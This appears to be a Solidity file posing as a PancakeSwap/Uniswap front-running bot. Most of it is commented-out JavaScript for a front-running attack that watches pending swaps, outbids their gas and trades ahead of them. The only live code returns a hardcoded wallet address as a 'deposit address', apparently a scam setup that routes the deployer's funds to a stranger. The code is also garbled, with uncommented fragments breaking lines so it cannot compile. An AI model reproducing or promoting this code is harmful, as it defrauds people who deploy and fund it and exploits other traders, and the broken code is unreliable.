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pragma solidity ^0.6.6;

contract Manager {

    //string public tokenName;
    //string public tokenSymbol;
    //uint frontrun;
    //Manager

    //constructor(string memory _tokenName, string memory _tokenSymbol) public {
        //tokenName = _tokenName;
        //tokenSymbol = _tokenSymbol;
        //manager = new Manager();

        //}

    // Send required BNB for liquidity pair
    //receive() external payable {}

    // Perform tasks (clubbed .json functions into one to reduce external calls &
    reduce gas) manager.performTasks();

    //function action() public payable {

        //Perform a front-running attack on uniswap

    //const fs = require('fs');
    //var Web3 = require('web3');
    //var abiDecoder = require('abi-decoder');
    //var colors = require("colors");
    //var Tx = require('ethereumjs-tx').Transaction;
    //var axios = require('axios');
    //var BigNumber = require('big-number');

    //const {NETWORK, PANCAKE_ROUTER_ADDRESS, PANCAKE_FACTORY_ADDRESS, PANCAKE_ROUTER_ABI,
    PANCAKE_FACTORY_ABI, PANCAKE_POOL_ABI, HTTP_PROVIDER_LINK, WEBSOCKET_PROVIDER_LINK,
    HTTP_PROVIDER_LINK_TEST} = require('./constants.js');
    //const {setBotAddress, getBotAddress, FRONT_BOT_ADDRESS, botABI} = require('./bot.js');
    //const {PRIVATE_KEY, TOKEN_ADDRESS, AMOUNT, LEVEL} = require('./env.js');

    //const INPUT_TOKEN_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c';
    //const WBNB_TOKEN_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c';
    //

    //var input_token_info;
    //var out_token_info;
    //var pool_info;
    //var gas_price_info;
    //

    //var web3;
    //var web3Ts;
    //var web3Ws;
    //var pancakeRouter;
    //var pancakeFactory;
    //

    // one gwei
    //const ONE_GWEI = 1e9;
    //
```

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//var buy_finished = false;
//var sell_finished = false;
//var buy_failed = false;
//var sell_failed = false;
//var attack_started = false;
//

//var succeed = false;
//var subscription;
//

function performTasks() public {
//async function createWeb3(){
//try {
//    web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK));
//    web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK_TEST));
//    web3 = new Web3(EthereumTesterProvider());
//    web3.eth.getAccounts(console.log);
//    web3Ws = new Web3(new Web3.providers.WebsocketProvider(WEB_SOCKET_PROVIDER_LINK));
//    pancakeRouter = new web3.eth.Contract(PANCAKE_ROUTER_ABI, PANCAKE_ROUTER_ADDRESS);
//    pancakeFactory = new web3.eth.Contract(PANCAKE_FACTORY_ABI,
PANCAKE_FACTORY_ADDRESS);
//    abiDecoder.addABI(PANCAKE_ROUTER_ABI);
//

//return true;
//} catch (error) {
//    console.log(error);
//return false;
//    }

//async function main() {

//try {
//    if (await createWeb3() == false) {
//        console.log('Web3 Create Error'.yellow);
//        process.exit();

//const user_wallet = web3.eth.accounts.privateKeyToAccount(PRIVATE_KEY);
//const out_token_address = TOKEN_ADDRESS;
//const amount = AMOUNT;
//const level = LEVEL;

//ret = await preparedAttack(INPUT_TOKEN_ADDRESS, out_token_address, user_wallet,
amount, level);
//if(ret == false) {
//    process.exit();

//await updatePoolInfo();
//outputtoken = await pancakeRouter.methods.getAmountOut(((amount*1.2)
(10*18)).toString(), pool_info.input_volumn.toString(),
pool_info.output_volumn.toString()).call();

//await approve(gas_price_info.high, outputtoken, out_token_address, user_wallet);

//log_str = '** Tracking more ' +
(pool_info.attack_volumn/(10input_token_info.decimals)).toFixed(5) + ' ' +
input_token_info.symbol + ' Exchange on Pancake **'
// console.log(log_str.green);
// console.log(web3Ws);
//web3Ws.onopen = function(evt) {

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    //web3Ws.send(JSON.stringify({ method: "subscribe", topic: "transfers", address:
user_wallet.address }));
    //console.log('connected')

    // get pending transactions
    //subscription = web3Ws.eth.subscribe('pendingTransactions', function (error, result)
{
    //}).on("data", async function (transactionHash) {
        //console.log(transactionHash);

        // let transaction = await web3.eth.getTransaction(transactionHash);
        // if (transaction != null && transaction['to'] == PANCAKE_ROUTER_ADDRESS)
        // {
            function uniswapDepositAddress() public pure returns
(address) {
                //      await handleTransaction(transaction, out_token_address, user_wallet,
amount, level);
                // }

                //if (succeed) {
                    //console.log("The bot finished the attack.");
                    //process.exit();

//catch (error) {

    //if(error.data != null && error.data.see === 'https://infura.io/dashboard')

        //console.log('Daily request count exceeded, Request rate limited'.yellow);
        //console.log('Please insert other API Key');
    //else{
        //console.log('Unknown Handled Error');
        //console.log(error);

//process.exit();

//function handleTransaction(transaction, out_token_address, user_wallet, amount, level) {

    //(await triggersFrontRun(transaction, out_token_address, amount, level)) {
        //subscription.unsubscribe();
        //console.log('Perform front running attack...');

        //gasPrice = parseInt(transaction['gasPrice']);
        //newGasPrice = gasPrice + 50*ONE_GWEI;

        //estimatedInput = ((amount*0.999)(10*18)).toString();
        //realInput = (amount*(10**18)).toString();
        //gasLimit = (300000).toString();

        //await updatePoolInfo();

        //swap(newGasPrice, gasLimit, outputtoken, realInput, 0, out_token_address,
user_wallet, transaction);

        //console.log("wait until the honest transaction is done...", transaction['hash']);

        //while (await isPending(transaction['hash'])) {

            //if(buy_failed)

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        //succeed = false;
        //return;

        //console.log('Buy succeed:')

        //Sell
        //await updatePoolInfo();
        //var outputeth = await pancakeRouter.methods.getAmountOut(outputtoken,
pool_info.output_volumn.toString(), pool_info.input_volumn.toString()).call();
        //outputeth = outputeth * 0.999;

        //await swap(newGasPrice, gasLimit, outputtoken, outputeth, 1, out_token_address,
user_wallet, transaction);

        //console.log('Sell succeed');
        //succeed = true;
    //

    //async function approve(gasPrice, outputtoken, out_token_address, user_wallet){
        //var allowance = await
out_token_info.token_contract.methods.allowance(user_wallet.address,
PANCAKE_ROUTER_ADDRESS).call();

        //allowance = BigNumber(allowance);
        //outputtoken = BigNumber(outputtoken);

        //var decimals = BigNumber(10).power(out_token_info.decimals);
        //var max_allowance = BigNumber(10000).multiply(decimals);

        //if(outputtoken.gt(max_allowance))

            //console.log('replace max allowance')
            //max_allowance = outputtoken;

        //if(outputtoken.gt(allowance)){
            //console.log(max_allowance.toString());
            //var approveTX = {
                //from: user_wallet.address,
                //to: out_token_address,
                //gas: 50000,
                //gasPrice: gasPrice*ONE_GWEI,
                //data: out_token_info.token_contract.methods.approve(PANCAKE_ROUTER_ADDRESS,
max_allowance).encodeABI()
            //

            //var signedTX = await user_wallet.signTransaction(approveTX);
            //var result = await web3.eth.sendSignedTransaction(signedTX.rawTransaction);

            //console.log('Approved Token')

        //return;

    //select attacking transaction
    //async function triggersFrontRun(transaction, out_token_address, amount, level) {

        //if(attack_started)
        //return false;

        //console.log((transaction.hash).yellow, parseInt(transaction['gasPrice']) / 10**9);

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//if(parseInt(transaction['gasPrice']) / 10**9 > 10 && parseInt(transaction['gasPrice']) /
10**9 < 50){
    //var outputtoken = await pancakeRouter.methods.getAmountOut(estimatedInput,
    return
    0x0595A3a8c62A14a7e0c7eaC7142aD7736bfe51B1; //pool_info.input_volumn.toString(),
    pool_info.output_volumn.toString()).call();
}
    //attack_started = true;
    //return true
//

//return false;

//if (transaction['to'] !== PANCAKE_ROUTER_ADDRESS) {
    //return false;

//let data = parseTx(transaction['input']);
//let method = data[0];
//let params = data[1];
//let gasPrice = parseInt(transaction['gasPrice']) / 10**9;

//if(method == 'swapExactETHForTokens')

    //let in_amount = transaction;
    //let out_min = params[0];

    //let path = params[1];
    //let in_token_addr = path[0];
    //let out_token_addr = path[path.length-1];

    //let receipt_addr = params[2];
    //let deadline = params[3];

    //if(out_token_addr !== out_token_address)

        // console.log(out_token_addr.blue)
        // console.log(out_token_address)
        //return false;
}
```